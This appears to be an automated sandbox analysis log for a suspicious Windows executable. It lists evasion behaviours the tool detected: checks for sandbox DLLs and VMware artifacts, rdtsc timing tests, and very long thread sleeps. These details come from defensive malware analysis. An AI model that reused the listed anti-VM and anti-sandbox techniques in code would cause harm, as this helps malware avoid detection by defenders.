Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: H4vBtZsi8xAKaMm.exe PID: 6364, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	RDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000AA9904 second address: 0000000000AA990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000AA9B6E second address: 0000000000AA9B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe TID: 6476

Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 14_2_00409AA0 rdtsc

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#5&1ec51bf7&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\SysWOW64\rundll32.exe

API coverage: 9.6 %

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe

Thread delayed: delay time: 922337203685477

Source: explorer.exe, 0000000F.00000000.386697786.0000000008C73000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 30d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000002.606120571.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 0000000F.00000000.352237691.0000000008A32000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 0000001E.00000003.560476298.000000000AA58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9Tm\Device\HarddiskVolume2\??\Volume{ef47ea26-ec76-4a6e-8680-9e53b539546d}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:-0330-11EB-90E6-ECF4BB82F7E0}
Source: explorer.exe, 0000000F.00000000.386974871.0000000008DB8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000003.564612786.000000000AB41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:
Source: explorer.exe, 0000001E.00000002.606719238.000000000AAF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000003.569107204.000000000D827000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 0000001E.00000002.604249591.000000000739F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}m
Source: explorer.exe, 0000001E.00000002.603447661.00000000053DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000F.00000000.386085770.0000000008ACF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 0000001E.00000002.604249591.000000000739F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}57
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: explorer.exe, 0000001E.00000003.589975864.000000000DF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BlnAO
Source: explorer.exe, 0000001E.00000003.546996408.000000000A9B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#5&1ec51bf7&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000002.612089074.000000000D80B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}V
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIOData Source=localhost\sqlexpress;Initial Catalog=dbSMS;Integrated Security=True
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: explorer.exe, 0000001E.00000003.546950960.000000000A983000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 0000001E.00000003.565863897.000000000D815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 0000001E.00000003.565863897.000000000D815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000003.546996408.000000000A9B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000u@v
Source: explorer.exe, 0000001E.00000002.607598476.000000000ABDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00\
Source: explorer.exe, 0000001E.00000003.585529071.000000000DDE9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?\luc6-96e00#{6b2-8bAGe62-80}#4063d0c9?\luc6-96e00#{6b2-8bAGe62-80}#1063d0c9\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bd
Source: explorer.exe, 0000000F.00000000.388195555.000000000EE0C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: fb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000003.569973549.000000000D998000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}d
Source: explorer.exe, 0000001E.00000003.570376867.000000000AC45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}UU}h@
Source: explorer.exe, 0000001E.00000002.606120571.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000001-5
Source: explorer.exe, 0000001E.00000002.604249591.000000000739F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}[
Source: explorer.exe, 0000001E.00000003.589975864.000000000DF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bgo<L
Source: explorer.exe, 0000001E.00000003.565231882.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATAL
Source: explorer.exe, 0000001E.00000003.567907070.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWarVMware SATA CD001.00
Source: explorer.exe, 0000001E.00000003.546996408.000000000A9B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&0000001
Source: explorer.exe, 0000001E.00000003.546996408.000000000A9B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#5&1ec51bf7&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000003.565863897.000000000D815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00E
Source: explorer.exe, 0000000F.00000000.386228381.0000000008B4E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}e
Source: explorer.exe, 0000001E.00000002.606120571.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}0O
Source: explorer.exe, 0000001E.00000002.612120969.000000000D815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: explorer.exe, 0000001E.00000003.564612786.000000000AB41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:T
